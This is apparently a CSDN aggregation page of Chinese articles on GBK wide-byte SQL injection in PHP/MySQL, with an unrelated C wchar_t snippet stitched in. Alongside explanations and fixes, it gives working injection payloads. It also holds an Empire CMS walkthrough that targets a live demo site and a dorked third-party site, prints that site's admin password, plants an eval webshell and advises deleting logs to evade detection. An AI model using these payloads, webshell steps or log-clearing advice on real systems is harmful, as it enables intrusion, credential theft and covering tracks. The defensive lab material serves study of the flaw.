宽字节_宽字节注入 - CSDN
精华内容
参与话题
  • 宽字节(宽字符)注入

    千次阅读 2016-12-13 16:22:20
    字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被... %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %

    字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

    $conn = mysql_connect(”localhost”,”root”,”2sdfxedd”); mysql_query(”SET NAMES ‘GBK’”); mysql_select_db(”test”,$conn); $user = mysql_escape_string($_GET['user']); $pass = mysql_escape_string($_GET['pass']); $sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”; $result = mysql_query($sql,$conn); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[] = $row; } ?> 

    则通过以下注入即可:

    http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

    对应的SQL是:

    select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

    解决方法:就是在初始化连接和字符集之后,使用SETcharacter_set_client=binary来设定客户端的字符集是二进制的。如:

    mysql_query(”SET character_set_client=binary”); 

    ==================================================================

     

    php关于宽字节编码的一个实验

    http://hi.baidu.com/kashifs/blog/item/385b004410c5a1186a63e51a.html

    2010/12/01 06:06P.M.

    以前对宽字节还是停留在GET上,得益于toby57牛的某篇文章,深入了一下

    GPC打开了

    提交:誠');phpinfo();//

    转换:誠\');phpinfo();//

     

    <?php

    $config=array('誠\');phpinfo();//');

    ?>

    php开始处理:D5 5C 5C 27... ,先处理转义,\ 没有了特殊作用,变成了 D5 \ ' ...,开始执行:誠'...,单引号引入,phpinfo执行。

    运气好的话写shell?POST提交注入?

    SET character_set_connection=$dbcharset,character_set_results=$dbcharset, character_set_client=binary

    前两句防止乱码,最后一句防止宽字节注入。

    Toby57:

    在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。

    iconv('GBK', 'UTF-8', $_GET['para']); //由GBK编码转为UTF-8

    test.php?para=a%e5%27

    可在末尾引入chr(39) 即 '

    $username=iconv('UTF-8', 'GBK', $_GET['para']); //由UTF-8编码转为GBK

    test.php?para=a%e9%8c%a6

    可在末尾引入chr(92) 即 \

    ==================================================================

     

    对宽字符的一些测试

    一直觉得对这类漏洞成因了解不够透彻,今天用了一些简单测试。

    <?php //Magic_quote_GPC = ON $conn = mysql_connect('127.0.0.1','root','root'); mysql_select_db('mysql',$conn); mysql_query("SET character_set_client='binary'") or die(mysql_error()); //mysql_query("SET character_set_client='GBK'") or die(mysql_error()); //$username=mb_convert_encoding($_GET['para'],'utf-8','gbk'); //$username=iconv('GBK', 'UTF-8', $_GET['para']); $username=iconv('UTF-8', 'GBK', $_GET['para']); //$username = stripslashes($_GET['para']); $querystr = "SELECT host FROM user WHERE user='{$username}'"; echo $querystr."<br/>"; if ($res = mysql_query($querystr)){ echo "OK..<br/>"; } else { echo "Bad..:::".mysql_error()."<br/>"; } echo dumpstr($username); function dumpstr($string){ $tmpstr = ''; for($i=0;isset($string[$i]);$i++){ $tmpstr .= "chr(".ord($string[$i]).")."; } return substr($tmpstr,0,-1); }  ?> 

    在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。

    iconv('GBK', 'UTF-8',$_GET['para']);//由GBK编码转为UTF-8

    test.php?para=a%e5%27

    可在末尾引入chr(39)即'。

    $username=iconv('UTF-8','GBK', $_GET['para']);//由UTF-8编码转为GBK

    test.php?para=a%e9%8c%a6

    可在末尾引入chr(92)即\。

    ==================================================================

     

    还是宽字符。。

    今天 发现了以前对mysql_real_escape_string的误解,以前以为SET NAMES gbk加上real_escape就安全了,结果不是这样,real_escape会根据当前连接的字符集进行编码,但仅仅SET NAMES并不会改变字符集,测试 如下:

    返回

    要想通知PHP改变当前连接字符集还得使用mysql_set_charset()才行,做个简单记录。

    参考 :

    http://www.laruence.com/2010/04/12/1396.html

    http://www.mirecle.com/2010/04/13/php-in-the-set-names-and-mysql_set_charset.html

    http://topic.csdn.net/u/20090202/10/bc90e3a2-660b-443d-b1d0-6a644601bdd6.html

    ==================================================================

     

    今天看了bhst的这篇文章

    http://www.bhst.org/viewthread.php?tid=1382&extra=page%3D1

    了解了宽字符注入的一些东西

    php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处理的 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字符串传递给MySQL处理时是作为多字节处理的

    例如这里:

    http://localhost/gbk.php?username=%df%27 //多字节编码

    %df%27=運'    //看,出单引号了,后面就可以构造了

    http://localhost/test/b.php?username=%df%27 or1%23

    sql语句类似这样: SELECT * FROMdemo WHERE username = '運' or 1#' LIMIT 1

    这样就可以注入啦

    在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在Linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,

    结果就是:

    神马php自带的addslashes,mysql_escape_string,

    还有php.ini的magic_quotes_gpc神马的,都无法过滤宽字节搞出来的单引号,注入就来了

    现在修补办法就是设置设置客户端的字符集为二进制,

    类似这样:

    mysql_query("SETCHARACTER SET 'gbk'", $conn); //不安全的 mysql_query("SETcharacter_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); //安全的

    当然,这样还不能高枕无忧,还需注意,在下面的使用中,不要将用户输入的东西随便转换编码,

    因为一旦转换,宽字符就又来了,上面写的二进制可只有gbk,你要是转成utf-8,那宽字符不是又来了么。

     

    特别记录下,自己以后写代码神马的要注意下,假如要挖洞,也要注意,那个ECSHOP 2.6.x/2.7.x GBK版本的漏洞不就是这样的吗。

    ==================================================================

     

    帝国CMS系统注入漏洞分析

    在 介绍这个漏洞之前,有必要先明白一个概念——宽字节注入。宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*

    http://www.hackest.cn/article.php?id=1and 1=2/*

    这个经典的判断目标是否存在注入的例子就是单字节注入。

    说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

     

    <?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES 'GBK'"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET['user']); $pass=mysql_escape_string($_GET['pass']); $sql="select * from cms_user where username='$user' and password='$pass'"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?> 

    则可以通过构造以下语句进行注入:

    http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=

    %20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:

    select * fromcms_user where username='運'or 1=1 limit 1,1#' and password="

     

    ---------------------------------------------------------------------------------------

    以上内容摘自网络,经过分析整理后用以说明问题,来源不详,感谢前辈们。^-^

    ---------------------------------------------------------------------------------------

     

    二、实践

     

    理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:

     

    //权限 if($gbr['groupid']) { include("../../class/user.php"); $user=islogin(); include("../../class/MemberLevel.php"); if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level]) { echo"<script>alert('您的会员级别不足(".$level_r[$gbr[groupid]][groupname]."),没有权限提交信息!');history.Go(-1);</script>"; exit(); } } esetcookie("gbookbid",$bid,0); $bname=$gbr['bname']; $search="&bid=$bid"; $page=(int)$_GET['page']; $start=(int)$_GET['start']; $line=12;//每页显示条数 $page_line=12;//每页显示链接数 $offset=$start+$page*$line;//总偏移量 $totalnum=(int)$_GET['totalnum']; if($totalnum) { $num=$totalnum; } else { $totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid='$bid' and checked=0"; $num=$empire->gettotal($totalquery);//取得总条数 } $search.="&totalnum=$num"; $query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊! $query=$query." order by lyid desc limit $offset,$line"; $sql=$empire->query($query); $listpage=page1($num,$line,$page_line,$start,$page,$search); $url="<a href=../../../../>".$fun_r['index']."</a> > ".$fun_r['saygbook']; ?> 

    注 意注释部分! 作者:hackest [H.S.T.]

    注 意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.NET/,还别说,界面倒是蛮清爽的,难怪这么 多站长用咯。直奔留言本页面:http://demo.phome.Net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套 最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留 言:”处,按如下要求填写相关信息:

    姓名:123縗\

    联系邮箱:,1,1,1,(selectconcat(username,0x5f,password,0x5f,rnd) from phome_enewsuser whereuserid=1),1,1,1,0,0,0)/*

    联系电话:随便写

    留言内容:随便写

     

    填好后如图2

     

     

    提交后就能看到爆出来的用户名、密码MD5、还有rnd值了,如图3。

     

     

    wm_chief就是开发帝国CMS的程序员。因为提交了好几遍,在后台又删不掉,所以有多条记录。破解出来密码明文就可以登录后台了,不过官方演示站点后台并没有数据库操作权限,凡是涉及到数据库的操作就会提示:

     

    在线演示仅开放观看权限,与数据库相关操作已被管理员禁止!

    如果您的浏览器没有自动跳转,请点击这里

     

    而 且这个MD5是在线查询查不出来的,明文是用MD5的彩虹表破解出来的,后面会附图。这个后台就是只能让你看看,顺便体验一下其强大的功能(官方也提供的 演示管理员用户名和密码均为admin,也可以登录,不过都是操作不了的),拿这个密码去社工一下管理员,也没有什么意外的收获,其博客、论坛、邮箱、官 方站点FTP、官方站点3389等均无法进入,所以官方是搞不到Webshell了。

    三、替补

     

    官方进不去就找个替罪羊吧,Google以关键字“inurl:e/tool/gbook/?bid=1”搜索,搜出来的站点99%都是用帝国CMS的。随便找了一个,测试证明,漏洞存在,如图4。

     

     

    可恨的是这个MD5值也是无法在线查询出来的,又得开动彩虹表跑跑咯,把刚才官方的那个MD5也一起跑了吧,出去吃完饭回来,结果就出来了,如图5。

     

     

    顺 便啰嗦一下,如果有志于网络安全事业的发展,彩虹表还是必不可少的。什么是彩虹表呢?就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合, 不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

     

    该进后台了,后台地址默认为e/admin/。用户名:joycar,密码:zuxywz119,顺便进入后台,如图6。

     

     

    进 了后台应该怎么样才能拿到Webshell呢?添加上传后缀,我试了下,不可行。网上搜了一下相关资料,原来在模板管理那里有猫腻哦。进入后台-> 模板管理->自定义页面->增加自定义页面。页面名称随便填,文件名也得取一个,文件名处可以填指定路径,分类不必理会,页面内容处写入如下 代码:

     

    <\?phpeval($_POST[cmd]);?\>

     

    一般的PHP一句话马的代码 是<?php eval($_POST[cmd]);?>,其中cmd是密码。但是这里一定要按上面要求的前后都要加上\,不加的话就不会成功,非常重要,务必记 住!然后点击提交,再返回到管理自定义页面,点击刚才起的页面名称,直接跳转至e/admin/template/hackest.php,无法找到该 页,路径不对嘛,当然找不到了,改成e/admin/hackest.php,再访问,一片空白,心中窃喜,有戏了……如图7、图8。

     

     

     

    再用lanker微型PHP+ASP管理器1.0双用版连接一句话,提交下环境变量看看,如图9。

     

     

    再上传一个PHP大马就大功告成了,是Linux系统的,发行版是Red Hat Enterprise Linux AS release 4,有溢出保护,提不了权咯,如图10。

     

     

    最 后千万记得把刚才爆用户名和密码的那条留言删除,再把你添加的自定义页面也删除,后台日志也处理下。好多人都不知道什么叫清理日志,其实就是尽可能地把关 于你的操作的相关记录删除。比如你登录了3389,系统日志会记录,比如你登录了FTP,应用程序日志也会记录,比如你对这个网站做了注入攻击,IIS或 者其他WEB应用程序也会记录……技术过硬的管理员能从这些日志里分析出你的攻击方法,攻击来源等细节,安全工作一定要做足,万万马虎不得。

     

    四、修补

     

    官方虽然也被爆了一段时间了,但是似乎并没有引起足够的重视,截止至发稿日仍然没看到官方有任何关于修补此漏洞的解决方案(其实也不能完全算是帝国CMS的错,编码这个问题最近闹得比较凶-_-)。

     

    解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。

     

     

    大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以。不太好理解,我们用小葵写的一个字符转换的小 工具来转换一下,如图1。

     

    打开Google以关键字inurl:e/tool/gbook/?bid=1进行搜索。 

    搜索出来的是留言本,其实就是留言本出现漏洞了。 

    主要填写您的姓名和联系邮箱这两处,其它的随便填。 

    您的姓名:縗\ 

    联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) fromphome_enewsuser where userid=1),1,1,1,0,0,0)/* 

    然后进行提交返回页面即爆出用户名密码。人品好的话,密码破解成功后进入网站后台,后台地址 e/admin/ 

    接着拿shell,进入后台后点顶部模板管理。然后左边的自定义页面-增加自定义页面,页面内容填写PHP一句话,<\?php eval($_POST[cmd]);?\>完了,回到管理自定义页面,点击刚才起的页面名称。页面直接跳转到e/admin/template/x.php,提示会找不到页面,去掉template即可。真实地址是e/admin/x.php,如显示一片空白的话就成功了。 

    最后用lanker微型PHP+ASP双用版连接一句话即可。 

    提示:别死心眼啊,自定义页面内容可以改成ASP的

    展开全文
  • 宽字节sql

    2020-05-06 12:01:49
    什么是宽字节 1)GB2312 , GBK ,GB18030等都是常说的宽字节,实际为两字节(所有英文占一个字节,中文占两个字节) 宽字节如何产生的 如何验证是否存在 如何避免宽字节注入 1)用utf-8,避免宽字节注入 2)mysql...

    什么是宽字节

    1)GB2312 , GBK ,GB18030等都是常说的宽字节,实际为两字节(所有英文占一个字节,中文占两个字节)

    宽字节如何产生的

    在这里插入图片描述

    如何验证是否存在

    在这里插入图片描述

    如何避免宽字节注入

    1)用utf-8,避免宽字节注入
    2)mysql_real_escape_string , mysql_set_charset(‘gbk’,$conn)
    3) 可以设置参数,character_set_client=binary(使用二进制模式连接数据库)
    4) sql语句中使用占位符

    展开全文
  • 宽字节

    2017-03-04 19:06:37
    例子: wchar_t *chinese_str = L"韦gif"; unsigned int *p = (wchar_t *)chinese_str; int i; printf("Uniocde: \n");... printf("韦gif :共 %d 个宽字节wchar_t\n",wcslen(chinese_str)); for (i = 0; i

    转载请注明出处:http://blog.csdn.net/qq_26093511/article/category/6752927


    例子:
     wchar_t *chinese_str = L"韦gif";
      unsigned int *p = (wchar_t *)chinese_str;
      int i;


      printf("Uniocde: \n");
      printf("韦gif :共 %d 个宽字节wchar_t\n",wcslen(chinese_str));
      for (i = 0; i < wcslen(chinese_str); i++)
      {
      printf("0x%x ", p[i]);
      }
      printf("\n");


    输出:
    Uniocde: 
    韦gif:共 4 个宽字节wchar_t
    0x97e6 0x67 0x69 0x66 


    由上面测试代码可知,wchar_t是一个可以表示字符集中的任意一个字符的足够宽的变量类型,即一个宽字符可以表示一个中文,也可以表示一个英文。
    chinese_str[0] 是“韦”,
    chinese_str[1] 是“g”,
    chinese_str[2] 是“i”,
    chinese_str[3] 是“f”。
    具体使用可参考:
    http://blog.csdn.net/qq_26093511/article/details/59126467

    http://blog.csdn.net/qq_26093511/article/details/60332795



    下面的测试代码可以区分宽字符Unicode与GBK的中英文区别
    #include <stdio.h>
    #include <string.h>
    #include <math.h>
    #include <wchar.h>
    void main()
    {


     wchar_t *chinese_str = L"韦gif";
     unsigned int *p = (wchar_t *)chinese_str;
     int i;


     printf("Uniocde: \n");
     printf("韦gif :共 %d 个宽字节wchar_t\n",wcslen(chinese_str));
     for (i = 0; i < wcslen(chinese_str); i++)
     {
      printf("0x%04x ", p[i]);
     }
     printf("\n");
     
     
     
     unsigned char *chinese_utf_8 = "韦gif";
     unsigned char *p2 = chinese_utf_8;


     printf("GBK: \n");
     printf("韦gif :共 %d 个字节\n",strlen(chinese_utf_8));
     for (i = 0; i < strlen(chinese_utf_8); i++)
     {
      printf("0x%x ", p2[i]);
     }
     printf("\n");
    }


    注意:在linux下,创建的文本代码,默认是UTF-8格式的!本文的代码是在linux下创建。


    下面是编译及运行结果:
    gcc -o test test.c -finput-charset=UTF-8 -fexec-charset=GBK


     ./test 
    Uniocde: 
    Τgif :�� 4 �����ֽ�wchar_t
    0x97e6 0x0067 0x0069 0x0066 
    GBK: 
    Τgif :�� 5 �����ֽ�
    0xce 0xa4 0x67 0x69 0x66 


    由运行代码知,GBK是两个字节来表示一个汉字,一个字节来表示英文。
    而宽字符则是 两个字节来表示任意一个字符!

    我们可以使用宽字节来描述中英文,这样的话就省去了判断中英字符的操作。


    若有描述错误,请指出,谢谢!

    
    
    
    
    
    
    
    
    
    
    
    
    展开全文
  • 宽字节注入详解

    千次阅读 2018-08-11 09:41:19
    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认...

    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型。也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本。

    我们就以gbk字符编码为示范,拉开帷幕。gbk是一种多字符编码,具体定义自行百度。但有一个地方尤其要注意:

    通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出

    echo strlen("和");

    来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。

    除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不用的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。

    以上是一点关于多字节编码的小知识,只有我们足够了解它的组成及特性以后,才能更好地去分析它身上存在的问题。

    说了这么多废话,现在来研究一下在SQL注入中,字符编码带来的各种问题。

    0×01 MYSQL中的宽字符注入

     

    这是一个老话题了,也被人玩过无数遍。但作为我们这篇文章的序幕,也是基础,是必须要提的。

    我们先搭建一个实验环境。暂且称之为phithon内容管理系统v1.0,首先先新建一个数据库,把如下压缩包中的sql文件导入:

    测试代码及数据库:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu

    之后的phithon内容管理系统会逐步完善,但会一直使用这个数据表。

    源码很简单(注意先关闭自己php环境的magic_quotes_gpc):

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    01  <?php

    02  //连接数据库部分,注意使用了gbk编码,把数据库信息填写进去

    03  $conn = mysql_connect('localhost', 'root', 'toor!@#$') or die('bad!');

    04  mysql_query("SET NAMES 'gbk'");

    05  mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");

    06  //执行sql语句

    07  $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;

    08  $sql = "SELECT * FROM news WHERE tid='{$id}'";

    09  $result = mysql_query($sql, $conn) or die(mysql_error()); //sql出错会报错,方便观察

    10  ?>

    11  <!DOCTYPE html>

    12  <html>

    13  <head>

    14  <meta charset="gbk" />

    15  <title>新闻</title>

    16  </head>

    17  <body>

    18  <?php

    19  $row = mysql_fetch_array($result, MYSQL_ASSOC);

    20  echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";

    21  mysql_free_result($result);

    22  ?>

    23  </body>

    24  </html>

      

       

    SQL语句是SELECT * FROM news WHERE tid='{$id}',就是根据文章的id把文章从news表中取出来。

    在这个sql语句前面,我们使用了一个addslashes函数,将$id的值转义。这是通常cms中对sql注入进行的操作,只要我们的输入参数在单引号中,就逃逸不出单引号的限制,无法注入,如下图:

    001.jpg

    那么怎么逃过addslashes的限制?众所周知addslashes函数产生的效果就是,让’变成\’,让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\’前面的\:

    1.想办法给\前面再加一个\(或单数个即可),变成\\’,这样\被转义了,’逃出了限制
    2.想办法把\弄没有。

    我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。如果我们输入%df’看会怎样:

    003.jpg

    我们可以看到,已经报错了。我们看到报错,说明sql语句出错,看到出错说明可以注入了。

    为什么从刚才到现在,只是在’也就是%27前面加了一个%df就报错了?而且从图中可以看到,报错的原因就是多了一个单引号,而单引号前面的反斜杠不见了。

    这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。

    因为两个字节代表一个汉字,所以我们可以试试“%df%df%27”:

    004.jpg

    不报错了。因为%df%df是一个汉字,%5c%27不是汉字,仍然是\’。

    那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:

    005.jpg

    %a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。

    于是我可以构造一个exp出来,查询管理员账号密码:

    006.jpg

    0×02 GB2312与GBK的不同

    曾经有一个问题一直困扰我很久。

    gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。把phithon内容管理系统中set names修改成gb2312:

    007.jpg

    结果就是不能注入了:

    008.jpg

    有些同学不信的话,也可以把数据库编码也改成gb2312,也是不成功的。

    为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。

    所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

    0×03 mysql_real_escape_string解决问题?

    部分cms对宽字节注入有所了解,于是寻求解决方案。在php文档中,大家会发现一个函数,mysql_real_escape_string,文档里说了,考虑到连接的当前字符集。

    009.jpg

    于是,有的cms就把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。我们继续做试验,phithon内容管理系统v1.2:,就用mysql_real_escape_string来过滤输入:

    0010.jpg

    我们来试试能不能注入:

    0011.jpg

    一样没压力注入。为什么,明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入。

    原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。

    0012.jpg

    就可以避免这个问题了:

    0013.jpg

    0×04 宽字符注入的修复

    在3中我们说到了一种修复方法,就是先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。

    这个方式是可行的,但有部分老的cms,在多处使用addslashes来过滤字符串,我们不可能去一个一个把addslashes都修改成mysql_real_escape_string。我们第二个解决方案就是,将character_set_client设置为binary(二进制)。

    只需在所有sql语句前指定一下连接的形式是二进制:

    mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 

    这几个变量是什么意思?

    当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将之将换成character_set_connection的编码,然后进入具体表和字段后,再转换成字段对应的编码。

    然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。

    所以,我们将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。

    比如,我们的phithon内容管理系统v2.0版本更新如下:

    0014.jpg

    已经不能够注入了:

    0015.jpg

    在我审计过的代码中,大部分cms是以这样的方式来避免宽字符注入的。这个方法可以说是有效的,但如果开发者画蛇添足地增加一些东西,会让之前的努力前功尽弃。

    0×05 iconv导致的致命后果

    很多cms,不止一个,我就不提名字了,他们的gbk版本都存在因为字符编码造成的注入。但有的同学说,自己测试了这些cms的宽字符注入,没有效果呢,难道是自己姿势不对?

    当然不是。实际上,这一章说的已经不再是宽字符注入了,因为问题并不是出在mysql上,而是出在php中了。

    很多cms(真的很多哦,不信大家自己网上找找)会将接收到数据,调用这样一个函数,转换其编码:

    iconv(‘utf-8’, ‘gbk’, $_GET[‘word’]);

    目的一般是为了避免乱码,特别是在搜索框的位置。

    比如我们的phithon内容管理系统v3.0

    0016.jpg

    我们可以看到,它在sql语句执行前,将character_set_client设置成了binary,所以可以避免宽字符注入的问题。但之后其调用了iconv将已经过滤过的参数$id给转换了一下。

    那我们来试试此时能不能注入:

    0017.jpg

    居然报错了。说明可以注入。而我只是输入了一个“ 錦‘ ”。这是什么原因?

    我们来分析一下。“錦”这个字,它的utf-8编码是0xe98ca6,它的gbk编码是0xe55c。

    0018.jpg 0019.jpg

    有的同学可能就领悟了。\的ascii码正是5c。那么,当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的’被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。

    这正利用了我之前说的,绕过addslashes的两种方式的第一种:将\转义掉。

    那么,如果我是用iconv将gbk转换成utf-8呢?

    0020.jpg

    我们来试试:

    0021.jpg

    果然又成功了。这次直接用宽字符注入的姿势来的,但实际上问题出在php而不是mysql。我们知道一个gbk汉字2字节,utf-8汉字3字节,如果我们把gbk转换成utf-8,则php会每两个字节一转换。所以,如果\’前面的字符是奇数的话,势必会吞掉\,’逃出限制。

    那么为什么之前utf-8转换成gbk的时候,没有使用这个姿势?

    这跟utf-8的规则有关,UTF-8的编码规则很简单,只有二条:

    1)对于单字节的符号,字节的第一位设为0,后面7位为这个符号的unicode码。因此对于英语字母,UTF-8编码和ASCII码是相同的。
    2)对于n字节的符号(n>1),第一个字节的前n位都设为1,第n+1位设为0,后面字节的前两位一律设为10。剩下的没有提及的二进制位,全部为这个符号的unicode码。

    从2我们可以看到,对于多字节的符号,其第2、3、4字节的前两位都是10,也就是说,\(0x0000005c)不会出现在utf-8编码中,所以utf-8转换成gbk时,如果有\则php会报错:

    0022.jpg

    但因为gbk编码中包含了\,所以仍然可以利用,只是利用方式不同罢了。

        总而言之,在我们处理了mysql的宽字符注入以后,也别认为就可以高枕无忧了。调用iconv时千万要小心,避免出现不必要的麻烦。 

    0×06 总结

    在逐渐国际化的今天,推行utf-8编码是大趋势。如果就安全性来说的话,我也觉得使用utf-8编码能够避免很多多字节造成的问题。

        不光是gbk,我只是习惯性地把gbk作为一个典型的例子在文中与大家说明。世界上的多字节编码有很多,特别是韩国、日本及一些非英语国家的cms,都可能存在由字符编码造成的安全问题,大家应该有扩展性的思维。

    总结一下全文中提到的由字符编码引发的安全问题及其解决方案:

    1.gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。
    2.矫正人们对于mysql_real_escape_string的误解,单独调用set name=gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。
    3.谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。

    这篇文章是我对于自己白盒审计经验的一点小总结,但自己确实在很多方面存在欠缺,文中所提到的姿势难免存在纰漏和错误,希望有相同爱好的同学能与我指出,共同进步。

    这篇文章不像上篇xss的,能够举出很多0day实例来论证宽字符造成的危害。原因有二:

    1.宽字符问题确实不如富文本xss那么普遍,gbk编码的cms所占的比例也比较小,怪我才疏学浅,并不能每一章都找到相应的实例。
    ‍‍2.注入的危害比xss大得多,如果作为0day发出来,影响很坏。但我确实在写文章以及以前的审计过程中找到不少cms存在的编码问题。

        所以我用实验的形式,自己写了的php小文件,给大家作为例子,希望不会因为例证的不足,影响大家学习的效果。

        例子php文件和sql文件打包下载:

        链接:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu

        本文PDF版本:链接: http://pan.baidu.com/s/1eprLs 密码: yoyw

    转载地址:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html,感谢phithon的分享,特别棒。

    展开全文
  • 多字节与宽字节

    2019-06-28 13:37:32
